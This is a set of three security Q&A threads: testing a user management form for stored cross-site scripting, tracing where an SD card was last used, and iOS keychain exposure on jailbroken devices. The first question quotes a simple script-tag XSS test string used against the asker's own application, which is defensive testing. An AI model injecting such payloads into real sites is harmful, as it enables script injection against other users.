Regarding cross site scripting? My application has a user management module which uses fields like username, first name, email-id, password,.. . I tried scanning these fields and filling in malicious JavaScript to test for cross site scripting like anil<script>alert(1);</alert>. The modified data is stored in the database, but when I refresh the page, I do not see any popup message. How can I make sure I'm not vulnerable for Cross Site Scripting?

Testing for Cross-Site Scripting is unfortunately not completely straightforward .  Depending on where your input is returned, you might need to use a number of different vectors to test it completely.

If you want to use an automated tool to review your site, something like arachni might be a good idea, or burp pro's scanner if you have access to that.

From a manual perspective, you can get an idea of the range of possible vectors from the list at html5sec


how do I find out where my sd card was used last Someone took my sd card out of my phone and saved information on it that I didn't know about. Is there anyway to find out where my sd card was used last.

Probably not.  I'll elaborate.

FAT12/16/32 and probably NTFS, do not last I checked receive any marker from the system that mounted them as to what system used it last.  This is likely also true with ext2/3/4, jfs, xfs, reiserfs, reiser4, ufs and btrfs.

ZFS keeps a fingerprint of the last system to use the pool, but that's more for preventing damage to the pool in case the pool was accidentally moved and may still theoretically still be "active" than for "Where the hell was I just now?" purposes.

Setting the filesystem itself aside, there is a possibility that what system created the files may be something that could be determined with forensic analysis, but depending on file type this is totally not guaranteed and methods exist to fraudulently modify said markers in files that provide them as a possibility.  But, this is also not necessarily helpful because the files could have been passed from neutral device to neutral device countless times, without modification before finally arriving at your storage device.


Can malware read keychain entries on iOS devices? Keychain entries of a 3rd party app are protected according their 'protection class'. For example, assigning the class 'kSecAttrAccessibleWhenUnlocked' to a keychain entry means that the entry is only accessible when the device is unlocked.

Regarding this scenario, I have the following questions:

Am I right in assuming that the sandbox principle within iOS ensures that each 3rd party app is only allowed to access keychain entries which were created by this app?
Does iOS automatically decrypt all keychain entries with that protection class as soon as the device gets unlocked (i.e. without that the app that owns this entry actually asks for access)?
If yes is the answer to the above questions, would this mean that on a jailbroken device, a malicious application (i.e. trojan) could read EVERY keychain entry while the device is unlocked? (No sandbox on a jailbroken device means access to every keychain entry and keychain entries are in plaintext when the device is unlocked).

Thanks in advance.

I saw this question and decided to do a bit of research into the topic. I'm actually an (ex)Apple Technical Support Senior Advisor for iOS, now working for FileMaker, Inc. which is a subsidiary of Apple. My iOS device is jailbroken. So I decided to do some sniffing around the filesystem with iFile to take a closer look at the keychain application, where is stores the keys and how it handles them.

Now, before I give my answer, I do want to make clear that 'malware' on an iOS device is nearly impossible. That said, your answer actually depends on whether you're using iOS 4.x (or later) or not and (get ready for this) whether you have a pass-code on your device or not.

When there is a pass-code on your device, the OS actually treats that as a second layer of security within the keychain. More specifically, it is an encryption key.

The answer is yes. But only in the scenario where you have a weak enough pass-code to decrypt.

Here is a link to the page that confirmed this:

https://stackoverflow.com/questions/3558252/ios-keychain-security

I would like to refer you to pepsi's answer to a very similar topic on this page. He provides links to a study that has been done and also explains the details of the topic.